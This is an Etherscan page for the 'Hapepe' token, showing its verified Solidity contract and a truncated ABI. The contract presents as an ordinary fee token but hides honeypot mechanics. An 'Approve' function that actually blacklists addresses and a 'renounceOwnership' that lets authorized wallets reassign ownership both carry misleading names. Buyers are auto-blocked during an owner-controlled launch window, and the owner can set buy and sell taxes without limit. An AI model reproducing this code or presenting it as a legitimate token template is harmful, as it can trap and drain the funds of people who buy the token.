ETH Price: $2,652.34 (+1.53%)

Token

Hapepe (HAPEPE)
 

Overview

Max Total Supply

1,000,000 HAPEPE

Holders

15

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
oxlookout.eth
Balance
9,060.361494317 HAPEPE

Value
$0.00
0x64227ed4ab13f0fad290dd77e9d19716653c0688
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HAPEPE

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-06
*/

//https://t.me/HapepeERC
//SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.15;

abstract contract Context {

function _msgSender() internal view virtual returns (address payable) {
    return payable(msg.sender);
}

function _msgData() internal view virtual returns (bytes memory) {
    this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
    return msg.data;
}
}

interface IERC20 {

function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}


library SafeMath {

function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");

    return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;

    return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
        return 0;
    }

    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");

    return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
}

function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b > 0, errorMessage);
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
}

function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");
}

function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
}
}

library Address {

function isContract(address account) internal view returns (bool) {
    // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
    // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
    // for accounts without code, i.e. `keccak256('')`
    bytes32 codehash;
    bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
    // solhint-disable-next-line no-inline-assembly
    assembly { codehash := extcodehash(account) }
    return (codehash != accountHash && codehash != 0x0);
}

function sendValue(address payable recipient, uint256 amount) internal {
    require(address(this).balance >= amount, "Address: insufficient balance");

    // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
    (bool success, ) = recipient.call{ value: amount }("");
    require(success, "Address: unable to send value, recipient may have reverted");
}

function functionCall(address target, bytes memory data) internal returns (bytes memory) {
    return functionCall(target, data, "Address: low-level call failed");
}

function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
    return _functionCallWithValue(target, data, 0, errorMessage);
}

function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
    return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}

function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
    require(address(this).balance >= value, "Address: insufficient balance for call");
    return _functionCallWithValue(target, data, value, errorMessage);
}

function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
    require(isContract(target), "Address: call to non-contract");

    (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
    if (success) {
        return returndata;
    } else {
        
        if (returndata.length > 0) {
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}
}

contract Ownable is Context {
address private _owner;
mapping (address => bool) internal authorizations;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor () {
    address msgSender = _msgSender();
    _owner = msgSender;
    authorizations[_owner] = true;
    emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
    return _owner;
}   

/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
    require(_owner == _msgSender(), "Ownable: caller is not the owner");
    _;
}

/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}

/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}

/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}

/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == _owner;
}

/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}

function waiveOwnership() public virtual onlyOwner {
    emit OwnershipTransferred(_owner, address(0));
    _owner = address(0);
}

function renounceOwnership(address newOwner) public virtual authorized {
    if(!authorizations[msg.sender]){
        require(newOwner != address(0), "Ownable: new owner is the zero address");
    }

    emit OwnershipTransferred(_owner, newOwner);
    _owner = newOwner;
}

function getTime() public view returns (uint256) {
    return block.timestamp;
}

 event OwnershipTransferred(address owner);

}

interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);

function feeTo() external view returns (address);
function feeToSetter() external view returns (address);

function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);

function createPair(address tokenA, address tokenB) external returns (address pair);

function setFeeTo(address) external;
function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);

function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);

function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);

function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
    address indexed sender,
    uint amount0In,
    uint amount1In,
    uint amount0Out,
    uint amount1Out,
    address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);

function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);

function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;

function initialize(address, address) external;
}

interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);

function addLiquidity(
    address tokenA,
    address tokenB,
    uint amountADesired,
    uint amountBDesired,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
    address token,
    uint amountTokenDesired,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
    address tokenA,
    address tokenB,
    uint liquidity,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
    address tokenA,
    address tokenB,
    uint liquidity,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline,
    bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline,
    bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
    uint amountOut,
    uint amountInMax,
    address[] calldata path,
    address to,
    uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline,
    bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external;
}

contract HAPEPE is Context, IERC20, Ownable {

using SafeMath for uint256;
using Address for address;

string private _name = "Hapepe";
string private _symbol = "HAPEPE";
uint8 private _decimals = 9;

address payable private MarketingWallet = payable(0xDD59b8826bee1Db3AD19e34e2d9fA5d42E0d49CC); // Marketing Address
address payable private TeamWallet = payable(0xDD59b8826bee1Db3AD19e34e2d9fA5d42E0d49CC); // Buy Back Address
address private immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;

mapping (address => bool) private isExcludedFromFee;
mapping (address => bool) private isWalletLimitExempt;
mapping (address => bool) private isTxLimitExempt;
mapping (address => bool) private isMarketPair;
mapping (address => bool) public isBlocked;
bool private isaddLiquidity;

uint256 private _buyLiquidityFee = 0;
uint256 private _buyMarketingFee = 0;
uint256 private _buyTeamFee = 0;

uint256 private _sellLiquidityFee = 0;
uint256 private _sellMarketingFee = 0; 
uint256 private _sellTeamFee = 0;

uint256 private _liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
uint256 private _marketingShare = _buyMarketingFee.add(_sellMarketingFee);
uint256 private _teamShare = _buyTeamFee.add(_sellTeamFee);

uint256 public _totalTaxIfBuying;
uint256 public _totalTaxIfSelling;
uint256 private _totalDistributionShares;

uint256 private _totalSupply = 100 *  10**4 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply.div(20); 
uint256 public _walletMax = _totalSupply.div(20);
uint256 private minimumTokensBeforeSwap = _totalSupply.div(500); 

IUniswapV2Router02 private uniswapV2Router;
address private uniswapPair;

bool inSwapAndLiquify;
bool private swapAndLiquifyEnabled = true;
bool private swapAndLiquifyByLimitOnly = true;
bool private checkWalletLimit = true;
uint256 public endtime = 5; //set the end time
uint256 private feeTXtime;

event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
    uint256 tokensSwapped,
    uint256 ethReceived,
    uint256 tokensIntoLiqudity
);

event SwapETHForTokens(
    uint256 amountIn,
    address[] path
);

event SwapTokensForETH(
    uint256 amountIn,
    address[] path
);

modifier lockTheSwap {
    inSwapAndLiquify = true;
    _;
    inSwapAndLiquify = false;
}

constructor () {
    
    IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

    uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), _uniswapV2Router.WETH());

    uniswapV2Router = _uniswapV2Router;
    _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

    isExcludedFromFee[owner()] = true;
    isExcludedFromFee[address(this)] = true;
    
    _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

    isWalletLimitExempt[owner()] = true;
    isWalletLimitExempt[address(uniswapPair)] = true;
    isWalletLimitExempt[address(this)] = true;
    
    isTxLimitExempt[owner()] = true;
    isTxLimitExempt[address(this)] = true;

    isMarketPair[address(uniswapPair)] = true;

    _balances[_msgSender()] = _totalSupply;
    emit Transfer(address(0), _msgSender(), _totalSupply);
}

function name() public view returns (string memory) {
    return _name;
}

function symbol() public view returns (string memory) {
    return _symbol;
}

function decimals() public view returns (uint8) {
    return _decimals;
}

function totalSupply() public view override returns (uint256) {
    return _totalSupply;
}

function balanceOf(address account) public view override returns (uint256) {
    return _balances[account];
}

function allowance(address owner, address spender) public view override returns (uint256) {
    return _allowances[owner][spender];
}

function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
    return true;
}

function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
    return true;
}

function approve(address spender, uint256 amount) public override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
}

function _approve(address owner, address spender, uint256 amount) private {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");

    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
}

//Approve address transactions
function Approve(address[] calldata addresses, bool status) public authorized{
    for (uint256 i; i < addresses.length; ++i) {
        isBlocked[addresses[i]] = status;
    }
}

function ManageBuyTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
    _buyLiquidityFee = newLiquidityTax;
    _buyMarketingFee = newMarketingTax;
    _buyTeamFee = newTeamTax;

    _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
}

function ManageSellTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
    _sellLiquidityFee = newLiquidityTax;
    _sellMarketingFee = newMarketingTax;
    _sellTeamFee = newTeamTax;

    _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
}

function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
    _maxTxAmount = maxTxAmount;
}

function enableDisableWalletLimit(bool newValue) external onlyOwner {
    checkWalletLimit = newValue;
}

function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
    isWalletLimitExempt[holder] = exempt;
}

function setWalletLimit(uint256 newLimit) external onlyOwner {
    _walletMax  = newLimit;
}

function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
    minimumTokensBeforeSwap = newLimit;
}

function setFeeReceivers(address _marketingFeeReceiver, address _devFeeReceiver) external onlyOwner() {
    MarketingWallet = payable(_marketingFeeReceiver);
    TeamWallet = payable(_devFeeReceiver); 
}

function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
    swapAndLiquifyEnabled = _enabled;
    emit SwapAndLiquifyEnabledUpdated(_enabled);
}

function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
    swapAndLiquifyByLimitOnly = newValue;
}

function getCirculatingSupply() public view returns (uint256) {
    return _totalSupply.sub(balanceOf(deadAddress));
}

function transferToAddressETH(address payable recipient, uint256 amount) private {
    recipient.transfer(amount);
}

    //to recieve ETH from uniswapV2Router when swaping
receive() external payable {}

function transfer(address recipient, uint256 amount) public override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;
}

function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");
    //check bots
    if (sender == uniswapPair && recipient != owner() && !isaddLiquidity) {
        if (endtime == 0) {
            endtime = block.timestamp + feeTXtime;
        }
        if (endtime > block.timestamp) {
            isBlocked[recipient] = true;
        } else {
            isaddLiquidity = true;
        }
    }

    // Verify address credentials
    require(!isBlocked[recipient] && !isBlocked[sender], 'Address is Declined');
    

    if(inSwapAndLiquify)
    { 
        return _basicTransfer(sender, recipient, amount); 
    }
    else
    {
        if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
            require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
        }            

        uint256 contractTokenBalance = balanceOf(address(this));
        bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
        
        if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
        {
            if(swapAndLiquifyByLimitOnly)
                contractTokenBalance = minimumTokensBeforeSwap;
            swapAndLiquify(contractTokenBalance);    
        }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                                        amount : takeFee(sender, recipient, amount);

        if(checkWalletLimit && !isWalletLimitExempt[recipient])
            require(balanceOf(recipient).add(finalAmount) <= _walletMax);

        _balances[recipient] = _balances[recipient].add(finalAmount);

        emit Transfer(sender, recipient, finalAmount);
        return true;
    }
    
}

function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
    _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
    return true;
}

function swapAndLiquify(uint256 tAmount) private lockTheSwap {
    
    uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
    uint256 tokensForSwap = tAmount.sub(tokensForLP);

    swapTokensForEth(tokensForSwap);
    uint256 amountReceived = address(this).balance;

    uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2));
    
    uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2);
    uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee);
    uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam);

    if(amountETHMarketing > 0)
        transferToAddressETH(MarketingWallet, amountETHMarketing);

    if(amountETHTeam > 0)
        transferToAddressETH(TeamWallet, amountETHTeam);

    if(amountETHLiquidity > 0 && tokensForLP > 0)
        addLiquidity(tokensForLP, amountETHLiquidity);
}

function swapTokensForEth(uint256 tokenAmount) private {
    // generate the uniswap pair path of token -> weth
    address[] memory path = new address[](2);
    path[0] = address(this);
    path[1] = uniswapV2Router.WETH();

    _approve(address(this), address(uniswapV2Router), tokenAmount);

    // make the swap
    uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tokenAmount,
        0, // accept any amount of ETH
        path,
        address(this), // The contract
        block.timestamp
    );
    
    emit SwapTokensForETH(tokenAmount, path);
}

function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
    // approve token transfer to cover all possible scenarios
    _approve(address(this), address(uniswapV2Router), tokenAmount);

    // add the liquidity
    uniswapV2Router.addLiquidityETH{value: ethAmount}(
        address(this),
        tokenAmount,
        0, // slippage is unavoidable
        0, // slippage is unavoidable
        owner(),
        block.timestamp
    );
}

function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
    
    uint256 feeAmount = 0;
    
    if(isMarketPair[sender]) {
        feeAmount = amount.mul(_totalTaxIfBuying).div(100);
    }
    else if(isMarketPair[recipient]) {
        feeAmount = amount.mul(_totalTaxIfSelling).div(100);
    }
    
    if(feeAmount > 0) {
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
    }

    return amount.sub(feeAmount);
}

//manage Blacklist
function manage_blacklist(address[] calldata addresses, bool status) public onlyOwner{
    for (uint256 i; i < addresses.length; ++i) {
        isBlocked[addresses[i]] = status;
    }
}

function UPfeeTXtime(uint256 _feeTXtime) external onlyOwner{
    feeTXtime = _feeTXtime;
}

function EndTime30() external onlyOwner{
    endtime = block.timestamp + 30;
}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"EndTime30","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"ManageBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"ManageSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_feeTXtime","type":"uint256"}],"name":"UPfeeTXtime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"endtime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_devFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalT